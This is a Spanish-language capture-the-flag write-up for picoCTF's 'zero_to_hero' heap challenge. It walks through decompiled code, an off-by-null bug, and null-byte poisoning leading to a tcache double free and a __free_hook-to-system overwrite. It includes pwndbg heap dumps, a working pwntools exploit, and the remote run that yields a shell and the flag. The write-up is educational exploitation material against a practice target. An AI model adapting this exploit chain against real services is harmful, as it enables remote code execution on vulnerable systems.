zero_to_hero
14 minutos de lectura
Se nos proporciona un binario de 64 bits llamado zero_to_hero
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
También tenemos la librería compartida Glibc y el loader (versión 2.29):
$ ./ld-2.29.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 8.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos esta función main
:
void main() {
ssize_t length;
long in_FS_OFFSET;
int option;
char confirmation[24];
ulong canary;
canary = *(ulong *) (in_FS_OFFSET + 0x28);
setvbuf(stdin, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
setvbuf(stderr, NULL, 2, 0);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
length = read(0, confirmation, 0x14);
confirmation[length] = '\0';
if (confirmation[0] != 'y') {
puts("No? Then why are you even here?");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can\'t convince you otherwise.");
printf("It\'s dangerous to go alone. Take this: %p\n", system);
while (true) {
while (true) {
menu();
printf("> ");
option = 0;
__isoc99_scanf("%d", &option);
getchar();
if (option != 2) break;
remove_superpower();
}
if (option == 3) break;
if (option != 1) goto LAB_00400dce;
get_superpower();
}
puts("Giving up?");
LAB_00400dce:
/* WARNING: Subroutine does not return */
exit(0);
}
En primer lugar, necesitamos ingresar y
para usar el programa. Además, se nos da la dirección de system
en tiempo de ejecución. Luego, tenemos dos opciones: get_superpower
y remove_superpower
:
$ ./zero_to_hero
From Zero to Hero
So, you want to be a hero?
yes
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7fc1bca6ffd0
1. Get a superpower
2. Remove a superpower
3. Exit
>
Parece ser un reto de explotación del heap. Analicemos estas dos funciones.
Función de asignación
Esta es la función get_superpower
:
void get_superpower() {
char *p_superpower;
ssize_t length;
long in_FS_OFFSET;
uint size;
int count;
long canary;
char *superpower;
canary = *(long *) (in_FS_OFFSET + 0x28);
size = 0;
count = count_superpowers();
if (count < 0) {
puts("You have too many powers!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf("%u", &size);
getchar();
if (0x408 < size) {
puts("Power too strong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
p_superpower = (char *) malloc((ulong) size);
superpowers[count] = p_superpower;
puts("Enter your description: ");
printf("> ");
superpower = superpowers[count];
length = read(0, superpowers[count], (ulong)size);
superpower[length] = '\0';
puts("Done!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Vemos que podemos asignar chunks en el heap hasta de tamaño 0x408
y luego ingresar algunos datos. Hay un error en esta función, concretamente en esta línea de código:
superpower[length] = '\0';
El problema es que el último elemento de la cadena de caracteres superpower
está en el índice length - 1
, porque los índices comienzan en 0
. El programa pondrá un byte nulo en el siguiente elemento al último. Este error se puede explotar con una técnica conocida como null byte poisoning.
Función de liberación
Esta es la función remove_superpower
:
void remove_superpower() {
long in_FS_OFFSET;
uint index;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf("%u", &index);
getchar();
if (6 < index) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
free(superpowers[index]);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Básicamente, seleccionamos el índice del chunk y se libera usando free
, tan simple como eso.
Estrategia de explotación
Tendremos que explotar el bug existente (también conocido como llamado off-by-null) mediante null byte poisoning. Hay que tener en cuenta que Glibc 2.29 usa Tcache.
La idea será simple para pwners experimentados en explotación del heap. El objetivo es abusar del off-by-null para modificar el tamaño del siguiente chunk y generar confusión en el asignador de memoria.
Podemos empezar creando tres chunks:
A
: tamaño0x108
B
: tamaño0x108
C
: tamaño0xf8
Sus tamaños efectivos en el heap serán 0x110
, 0x110
y 0x100
, respectivamente.
Ahora, liberaremos B
, luego C
y luego A
. Al asignar un chunk de tamaño 0x108
, se colocará donde estaba A
antes, y aprovecharemos el off-by-null para modificar el tamaño efectivo de B
a 0x100
.
En este punto, podemos liberar B
nuevamente, y el Tcache no se quejará porque tiene un tamaño diferente. Por lo tanto, tenemos un double free porque tenemos el mismo chunk B
dentro de las listas de tamaño 0x100
y 0x110
.
Por lo tanto, podemos realizar un ataque de Tcache poisoning y conseguir que __free_hook
sea system
(ya sabemos su dirección y, por lo tanto, podemos burlar ASLR). Al llamar a free
en el chunk C
(que contendrá "/bin/sh"
), __free_hook
nos dará una shell.
Depuración con GDB
Vamos a analizar la estrategia anterior en GDB:
- Realizamos las tres asignaciones:
$ gdb -q zero_to_hero
pwndbg: loaded 198 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from zero_to_hero...
(No debugging symbols found in zero_to_hero)
pwndbg> run
Starting program: ./zero_to_hero
From Zero to Hero
So, you want to be a hero?
y
Really? Being a hero is hard.
Fine. I see I can't convince you otherwise.
It's dangerous to go alone. Take this: 0x7ffff7e31fd0
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> AAAA
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> BBBB
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 248
Enter your description:
> CCCC
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x603000 0x0000000000000000 0x0000000000000251 ........Q.......
0x603010 0x0000000000000000 0x0000000000000000 ................
0x603020 0x0000000000000000 0x0000000000000000 ................
0x603030 0x0000000000000000 0x0000000000000000 ................
0x603040 0x0000000000000000 0x0000000000000000 ................
0x603050 0x0000000000000000 0x0000000000000000 ................
0x603060 0x0000000000000000 0x0000000000000000 ................
0x603070 0x0000000000000000 0x0000000000000000 ................
0x603080 0x0000000000000000 0x0000000000000000 ................
0x603090 0x0000000000000000 0x0000000000000000 ................
0x6030a0 0x0000000000000000 0x0000000000000000 ................
0x6030b0 0x0000000000000000 0x0000000000000000 ................
0x6030c0 0x0000000000000000 0x0000000000000000 ................
0x6030d0 0x0000000000000000 0x0000000000000000 ................
0x6030e0 0x0000000000000000 0x0000000000000000 ................
0x6030f0 0x0000000000000000 0x0000000000000000 ................
0x603100 0x0000000000000000 0x0000000000000000 ................
0x603110 0x0000000000000000 0x0000000000000000 ................
0x603120 0x0000000000000000 0x0000000000000000 ................
0x603130 0x0000000000000000 0x0000000000000000 ................
0x603140 0x0000000000000000 0x0000000000000000 ................
0x603150 0x0000000000000000 0x0000000000000000 ................
0x603160 0x0000000000000000 0x0000000000000000 ................
0x603170 0x0000000000000000 0x0000000000000000 ................
0x603180 0x0000000000000000 0x0000000000000000 ................
0x603190 0x0000000000000000 0x0000000000000000 ................
0x6031a0 0x0000000000000000 0x0000000000000000 ................
0x6031b0 0x0000000000000000 0x0000000000000000 ................
0x6031c0 0x0000000000000000 0x0000000000000000 ................
0x6031d0 0x0000000000000000 0x0000000000000000 ................
0x6031e0 0x0000000000000000 0x0000000000000000 ................
0x6031f0 0x0000000000000000 0x0000000000000000 ................
0x603200 0x0000000000000000 0x0000000000000000 ................
0x603210 0x0000000000000000 0x0000000000000000 ................
0x603220 0x0000000000000000 0x0000000000000000 ................
0x603230 0x0000000000000000 0x0000000000000000 ................
0x603240 0x0000000000000000 0x0000000000000000 ................
0x603250 0x0000000000000000 0x0000000000000111 ................
0x603260 0x0000000a41414141 0x0000000000000000 AAAA............
0x603270 0x0000000000000000 0x0000000000000000 ................
0x603280 0x0000000000000000 0x0000000000000000 ................
0x603290 0x0000000000000000 0x0000000000000000 ................
0x6032a0 0x0000000000000000 0x0000000000000000 ................
0x6032b0 0x0000000000000000 0x0000000000000000 ................
0x6032c0 0x0000000000000000 0x0000000000000000 ................
0x6032d0 0x0000000000000000 0x0000000000000000 ................
0x6032e0 0x0000000000000000 0x0000000000000000 ................
0x6032f0 0x0000000000000000 0x0000000000000000 ................
0x603300 0x0000000000000000 0x0000000000000000 ................
0x603310 0x0000000000000000 0x0000000000000000 ................
0x603320 0x0000000000000000 0x0000000000000000 ................
0x603330 0x0000000000000000 0x0000000000000000 ................
0x603340 0x0000000000000000 0x0000000000000000 ................
0x603350 0x0000000000000000 0x0000000000000000 ................
0x603360 0x0000000000000000 0x0000000000000111 ................
0x603370 0x0000000a42424242 0x0000000000000000 BBBB............
0x603380 0x0000000000000000 0x0000000000000000 ................
0x603390 0x0000000000000000 0x0000000000000000 ................
0x6033a0 0x0000000000000000 0x0000000000000000 ................
0x6033b0 0x0000000000000000 0x0000000000000000 ................
0x6033c0 0x0000000000000000 0x0000000000000000 ................
0x6033d0 0x0000000000000000 0x0000000000000000 ................
0x6033e0 0x0000000000000000 0x0000000000000000 ................
0x6033f0 0x0000000000000000 0x0000000000000000 ................
0x603400 0x0000000000000000 0x0000000000000000 ................
0x603410 0x0000000000000000 0x0000000000000000 ................
0x603420 0x0000000000000000 0x0000000000000000 ................
0x603430 0x0000000000000000 0x0000000000000000 ................
0x603440 0x0000000000000000 0x0000000000000000 ................
0x603450 0x0000000000000000 0x0000000000000000 ................
0x603460 0x0000000000000000 0x0000000000000000 ................
0x603470 0x0000000000000000 0x0000000000000101 ................
0x603480 0x0000000a43434343 0x0000000000000000 CCCC............
0x603490 0x0000000000000000 0x0000000000000000 ................
0x6034a0 0x0000000000000000 0x0000000000000000 ................
0x6034b0 0x0000000000000000 0x0000000000000000 ................
0x6034c0 0x0000000000000000 0x0000000000000000 ................
0x6034d0 0x0000000000000000 0x0000000000000000 ................
0x6034e0 0x0000000000000000 0x0000000000000000 ................
0x6034f0 0x0000000000000000 0x0000000000000000 ................
0x603500 0x0000000000000000 0x0000000000000000 ................
0x603510 0x0000000000000000 0x0000000000000000 ................
0x603520 0x0000000000000000 0x0000000000000000 ................
0x603530 0x0000000000000000 0x0000000000000000 ................
0x603540 0x0000000000000000 0x0000000000000000 ................
0x603550 0x0000000000000000 0x0000000000000000 ................
0x603560 0x0000000000000000 0x0000000000000000 ................
0x603570 0x0000000000000000 0x0000000000020a91 ................ <-- Top chunk
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603360
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x603470
Size: 0x101
Top chunk | PREV_INUSE
Addr: 0x603570
Size: 0x20a91
- Los liberamos:
pwndbg> continue
Continuing.
2
Which power would you like to remove?
> 1
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 2
1. Get a superpower
2. Remove a superpower
3. Exit
> 2
Which power would you like to remove?
> 0
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 2]: 0x603260 —▸ 0x603370 ◂— 0x0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Free chunk (tcache) | PREV_INUSE
Addr: 0x603250
Size: 0x111
fd: 0x603370
Free chunk (tcache) | PREV_INUSE
Addr: 0x603360
Size: 0x111
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x603470
Size: 0x101
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x603570
Size: 0x20a91
- Asignamos un chunk de tamaño
0x108
e introducimos exactamente0x108
bytes para explotar el off-by-null
pwndbg> shell python3 -c 'print("A" * 264)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
0x603000 0x0000000000000000 0x0000000000000251 ........Q.......
0x603010 0x0000000000000000 0x0101000000000000 ................
0x603020 0x0000000000000000 0x0000000000000000 ................
0x603030 0x0000000000000000 0x0000000000000000 ................
0x603040 0x0000000000000000 0x0000000000000000 ................
0x603050 0x0000000000000000 0x0000000000000000 ................
0x603060 0x0000000000000000 0x0000000000000000 ................
0x603070 0x0000000000000000 0x0000000000000000 ................
0x603080 0x0000000000000000 0x0000000000000000 ................
0x603090 0x0000000000000000 0x0000000000000000 ................
0x6030a0 0x0000000000000000 0x0000000000000000 ................
0x6030b0 0x0000000000000000 0x0000000000000000 ................
0x6030c0 0x0000000000603480 0x0000000000603370 .4`.....p3`.....
0x6030d0 0x0000000000000000 0x0000000000000000 ................
0x6030e0 0x0000000000000000 0x0000000000000000 ................
0x6030f0 0x0000000000000000 0x0000000000000000 ................
0x603100 0x0000000000000000 0x0000000000000000 ................
0x603110 0x0000000000000000 0x0000000000000000 ................
0x603120 0x0000000000000000 0x0000000000000000 ................
0x603130 0x0000000000000000 0x0000000000000000 ................
0x603140 0x0000000000000000 0x0000000000000000 ................
0x603150 0x0000000000000000 0x0000000000000000 ................
0x603160 0x0000000000000000 0x0000000000000000 ................
0x603170 0x0000000000000000 0x0000000000000000 ................
0x603180 0x0000000000000000 0x0000000000000000 ................
0x603190 0x0000000000000000 0x0000000000000000 ................
0x6031a0 0x0000000000000000 0x0000000000000000 ................
0x6031b0 0x0000000000000000 0x0000000000000000 ................
0x6031c0 0x0000000000000000 0x0000000000000000 ................
0x6031d0 0x0000000000000000 0x0000000000000000 ................
0x6031e0 0x0000000000000000 0x0000000000000000 ................
0x6031f0 0x0000000000000000 0x0000000000000000 ................
0x603200 0x0000000000000000 0x0000000000000000 ................
0x603210 0x0000000000000000 0x0000000000000000 ................
0x603220 0x0000000000000000 0x0000000000000000 ................
0x603230 0x0000000000000000 0x0000000000000000 ................
0x603240 0x0000000000000000 0x0000000000000000 ................
0x603250 0x0000000000000000 0x0000000000000111 ................
0x603260 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603270 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603280 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603290 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032b0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032c0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032d0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032e0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603300 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603310 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603320 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603330 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603340 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603350 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603360 0x4141414141414141 0x0000000000000100 AAAAAAAA........
0x603370 0x0000000000000000 0x0000000000603010 .........0`..... <-- tcachebins[0x110][0/1]
0x603380 0x0000000000000000 0x0000000000000000 ................
0x603390 0x0000000000000000 0x0000000000000000 ................
0x6033a0 0x0000000000000000 0x0000000000000000 ................
0x6033b0 0x0000000000000000 0x0000000000000000 ................
0x6033c0 0x0000000000000000 0x0000000000000000 ................
0x6033d0 0x0000000000000000 0x0000000000000000 ................
0x6033e0 0x0000000000000000 0x0000000000000000 ................
0x6033f0 0x0000000000000000 0x0000000000000000 ................
0x603400 0x0000000000000000 0x0000000000000000 ................
0x603410 0x0000000000000000 0x0000000000000000 ................
0x603420 0x0000000000000000 0x0000000000000000 ................
0x603430 0x0000000000000000 0x0000000000000000 ................
0x603440 0x0000000000000000 0x0000000000000000 ................
0x603450 0x0000000000000000 0x0000000000000000 ................
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x111
Allocated chunk
Addr: 0x603360
Size: 0x100
Allocated chunk
Addr: 0x603460
Size: 0x00
Los comandos anteriores fallan porque hemos dañado los metadatos del heap del chunk B
(ahora el tamaño es 0x100
). Podemos visualizar el heap completo (sin colores) así:
pwndbg> x/180gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000251
0x603010: 0x0000000000000000 0x0101000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000603480 0x0000000000603370
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
0x6031a0: 0x0000000000000000 0x0000000000000000
0x6031b0: 0x0000000000000000 0x0000000000000000
0x6031c0: 0x0000000000000000 0x0000000000000000
0x6031d0: 0x0000000000000000 0x0000000000000000
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000111
0x603260: 0x4141414141414141 0x4141414141414141
0x603270: 0x4141414141414141 0x4141414141414141
0x603280: 0x4141414141414141 0x4141414141414141
0x603290: 0x4141414141414141 0x4141414141414141
0x6032a0: 0x4141414141414141 0x4141414141414141
0x6032b0: 0x4141414141414141 0x4141414141414141
0x6032c0: 0x4141414141414141 0x4141414141414141
0x6032d0: 0x4141414141414141 0x4141414141414141
0x6032e0: 0x4141414141414141 0x4141414141414141
0x6032f0: 0x4141414141414141 0x4141414141414141
0x603300: 0x4141414141414141 0x4141414141414141
0x603310: 0x4141414141414141 0x4141414141414141
0x603320: 0x4141414141414141 0x4141414141414141
0x603330: 0x4141414141414141 0x4141414141414141
0x603340: 0x4141414141414141 0x4141414141414141
0x603350: 0x4141414141414141 0x4141414141414141
0x603360: 0x4141414141414141 0x0000000000000100
0x603370: 0x0000000000000000 0x0000000000603010
0x603380: 0x0000000000000000 0x0000000000000000
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000101
0x603480: 0x0000000000000000 0x0000000000603010
0x603490: 0x0000000000000000 0x0000000000000000
0x6034a0: 0x0000000000000000 0x0000000000000000
0x6034b0: 0x0000000000000000 0x0000000000000000
0x6034c0: 0x0000000000000000 0x0000000000000000
0x6034d0: 0x0000000000000000 0x0000000000000000
0x6034e0: 0x0000000000000000 0x0000000000000000
0x6034f0: 0x0000000000000000 0x0000000000000000
0x603500: 0x0000000000000000 0x0000000000000000
0x603510: 0x0000000000000000 0x0000000000000000
0x603520: 0x0000000000000000 0x0000000000000000
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000 0x0000000000000000
0x603550: 0x0000000000000000 0x0000000000000000
0x603560: 0x0000000000000000 0x0000000000000000
0x603570: 0x0000000000000000 0x0000000000020a91
0x603580: 0x0000000000000000 0x0000000000000000
0x603590: 0x0000000000000000 0x0000000000000000
- Liberamos el chunk
B
de nuevo:
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 ◂— 0x0
pwndbg> continue
Continuing.
2
Which power would you like to remove?
> 1
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 2]: 0x603370 —▸ 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 —▸ 0x603480 ◂— ...
Como podemos ver, obtuvimos la misma dirección de chunk en dos listas del Tcache, por lo que tenemos una vulnerabilidad de double free que puede explotarse con un ataque de Tcache poisoning. Por ejemplo, asignemos un chunk de tamaño 0xf8
:
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 248
Enter your description:
> asdf
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7eebf81 in __GI___libc_read (fd=0, buf=0x7ffff7fc3a83 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> tcachebins
tcachebins
0x100 [ 1]: 0x603480 ◂— 0x0
0x110 [ 1]: 0x603370 ◂— 0xa66647361 /* 'asdf\n' */
Ahí lo tenemos. Hemos modificado el puntero fd
de un chunk liberado, por lo que tenemos el control de la siguiente dirección del chunk de tamaño 0x108
:
pwndbg> continue
Continuing.
1
Describe your new power.
What is the length of your description?
> 264
Enter your description:
> xxxx
Done!
1. Get a superpower
2. Remove a superpower
3. Exit
> 1
Describe your new power.
What is the length of your description?
> 264
Program received signal SIGSEGV, Segmentation fault.
tcache_get (tc_idx=15) at malloc.c:2950
2950 malloc.c: No such file or directory.
Obviamente, tenemos una violación de segmento (segmentation fault) porque asdf
no es una dirección válida. Esto fue solo una prueba de concepto de cómo funciona el exploit.
Exploit final
Esta será la función main
del exploit:
def main():
p = get_process()
p.sendlineafter(b'So, you want to be a hero?\n', b'y')
p.recvuntil(b"It's dangerous to go alone. Take this: ")
system_addr = int(p.recvline().decode(), 16)
glibc.address = system_addr - glibc.sym.system
log.success(f'Glibc base address: {hex(glibc.address)}')
alloc(p, 0x108, b'AAAA')
alloc(p, 0x108, b'BBBB')
alloc(p, 0x0f8, b'CCCC')
free(p, 1)
free(p, 2)
free(p, 0)
alloc(p, 0x108, b'A' * 0x108)
free(p, 1)
alloc(p, 0x0f8, p64(glibc.sym.__free_hook))
alloc(p, 0x108, b'/bin/sh\0')
alloc(p, 0x108, p64(system_addr))
free(p, 1)
p.interactive()
Funciona en nuestro entorno local:
$ python3 solve.py
[*] './zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
[+] Starting local process './zero_to_hero': pid 3010377
[+] Glibc base address: 0x7ff90e108000
[*] Switching to interactive mode
$ ls
ld-2.29.so libc.so.6 solve.py zero_to_hero
Flag
Y también en remoto:
$ python3 solve.py jupiter.challenges.picoctf.org 29476
[*] './zero_to_hero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
[+] Opening connection to jupiter.challenges.picoctf.org on port 29476: Done
[+] Glibc base address: 0x7fe979b45000
[*] Switching to interactive mode
$ ls
flag.txt
ld-2.29.so
libc.so.6
xinet_startup.sh
zero_to_hero
$ cat flag.txt
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_wuqzpzof}
El exploit completo se puede encontrar aquí: solve.py
.